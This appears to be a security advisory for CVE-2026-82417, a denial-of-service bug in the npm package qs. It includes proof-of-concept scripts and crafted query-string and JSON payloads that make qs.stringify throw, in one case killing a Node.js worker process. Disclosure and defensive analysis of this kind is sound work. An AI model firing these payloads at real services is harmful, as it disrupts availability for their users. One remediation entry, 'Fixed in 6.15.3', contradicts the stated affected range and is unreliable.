CVE-2026-82417: qs.stringify throws TypeError on objects with a non-callable constructor.isBuffer property
Summary
qs.stringify throws a TypeError when it serializes an object whose own constructor property has a truthy, non-callable isBuffer member. utils.isBuffer duck-types buffers by calling obj.constructor.isBuffer(obj) after checking only that the property is truthy, so a value such as { constructor: { isBuffer: "x" } } makes the call throw TypeError: obj.constructor.isBuffer is not a function.
Details
lib/stringify.js:127 calls utils.isBuffer on every non-primitive value it serializes. utils.isBuffer (lib/utils.js:332) reads obj.constructor.isBuffer and invokes it without verifying that it is a function. constructor and isBuffer are ordinary property names, so any object carrying them as own properties reaches the unchecked call.
Such an object can be built from untrusted input. qs.parse("x[constructor][isBuffer]=y", { plainObjects: true }) or { allowPrototypes: true } keeps the constructor key as an own property (the default parse options drop it), and JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}") produces the same shape with no qs option involved. Express 4 with its default query parser setting and body-parser with extended: true both call qs.parse with allowPrototypes: true, so on those stacks req.query and req.body can carry the shape directly.
PoC
js
var qs = require("qs");
qs.stringify(qs.parse("x[constructor][isBuffer]=y", { plainObjects: true }));
qs.stringify(JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}"));
// TypeError: obj.constructor.isBuffer is not a function
// at Object.isBuffer (lib/utils.js:332:78)
// at stringify (lib/stringify.js:127:45)
Fix
lib/utils.js, applied in e83d321 on main and released as v6.16.0:
diff
- return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
+ return !!(obj.constructor && typeof obj.constructor.isBuffer === "function" && obj.constructor.isBuffer(obj));
Real Buffer, safer-buffer, and browserify buffer polyfill instances serialize exactly as before; only the throw is removed.
Affected versions
>=2.2.5 <6.16.0, fixed in v6.16.0.
The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used Buffer.isBuffer and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.
Impact
An unauthenticated request can make any code path that re-serializes attacker-influenced data with qs.stringify (for example, rebuilding a query string from req.query for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an async Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.
Other sources
Summary
qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.
An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.
Details utils.isBuffer runs at lib/stringify.js:127 for every serialized value:
js if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }
utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:
js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); };
constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.
Trust Boundary Note
qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.
PoC poc02cisBufferqsonlyroundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:
js 'use strict'; var qs = require('qs');
var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y
var parsed = qs.parse(untrustedQueryString, { plainObjects: true }); console.log('[parse] kept constructor key:', JSON.stringify(parsed));
try { qs.stringify(parsed); console.log('[stringify] no throw (unexpected)'); } catch (e) { console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message); }
poc02isBuffer.js — the minimal defect:
js 'use strict'; var qs = require('qs'); try { qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}')); } catch (e) { console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message); }
poc02bisBufferasynccrash.js — worker death in an async sink:
js 'use strict'; var qs = require('qs');
function handleRequestAsync(clientJsonBody) { try { setImmediate(function () { // async continuation, outside the try qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught }); console.log('[handler] returned 200 synchronously; async work scheduled'); } catch (e) { console.log('[handler] caught synchronously (will NOT happen):', e.message); } } process.on('exit', function (code) { console.log('[proc] process exiting with code:', code); }); handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');
Execution Steps
bash cd poc npm install qs@6.15.3 node poc02cisBufferqsonlyroundtrip.js # pure qs parse->stringify -> TypeError node poc02isBuffer.js # minimal defect -> TypeError inside stringify node poc02bisBufferasynccrash.js # async sink -> uncaught throw -> exit code 1
Reproduction Evidence
poc02cisBufferqsonlyroundtrip.js :
[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}} [stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function
poc02isBuffer.js:
[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function
poc02bisBufferasynccrash.js :
[handler] returned 200 synchronously; async work scheduled [proc] process exiting with code: 1 TypeError: obj.constructor.isBuffer is not a function at Object.isBuffer (.../qs/lib/utils.js:332:78) at stringify (.../qs/lib/stringify.js:127:45) === EXIT CODE: 1 ===
The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.
Impact
An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.
Recommended Fix
Replace the duck-type with a brand check mirroring utils.isRegExp:
js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') { return Buffer.isBuffer(obj); } return Object.prototype.toString.call(obj) === '[object Uint8Array]'; };
If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/qsto a version that resolves this vulnerability.Fixed in 6.16.0 - Upgrade
Upgrade
qsto a version that resolves this vulnerability.Fixed in 6.16.0 - Upgrade
Upgrade
qsto a version that resolves this vulnerability.Fixed in 6.15.3 - Compensating control
If you cannot upgrade immediately, avoid round-tripping attacker-controlled objects through qs.stringify (e.g., do not serialize req.query/req.body after qs.parse when using qs.parse options plainObjects: true or allowPrototypes: true), because qs.stringify will call utils.isBuffer on every value and can throw TypeError: obj.constructor.isBuffer is not a function.
Event History
Frequently Asked Questions
Are applications using qs.parse with default options exposed through query-string input?
By default, qs.parse drops the constructor key, so the described object shape is not retained from qs-parsed input. Parsing with plainObjects: true or allowPrototypes: true retains constructor as an own property and can allow the triggering shape through.
Can this be triggered without using qs to parse the input?
Yes. JSON.parse can create the same object shape, including an object with constructor.isBuffer set to a non-callable truthy value. Any such object can trigger the failure when it is later passed to qs.stringify.
What is the immediate effect of a successful trigger?
qs.stringify throws a TypeError instead of completing serialization. This can disrupt the request or code path that serializes the attacker-controlled object.
What can be done before a fix is deployed?
Avoid passing untrusted objects directly to qs.stringify, or validate and remove own constructor properties whose isBuffer member is truthy but not callable before serialization. Avoid qs.parse configurations that preserve constructor keys when they are not required.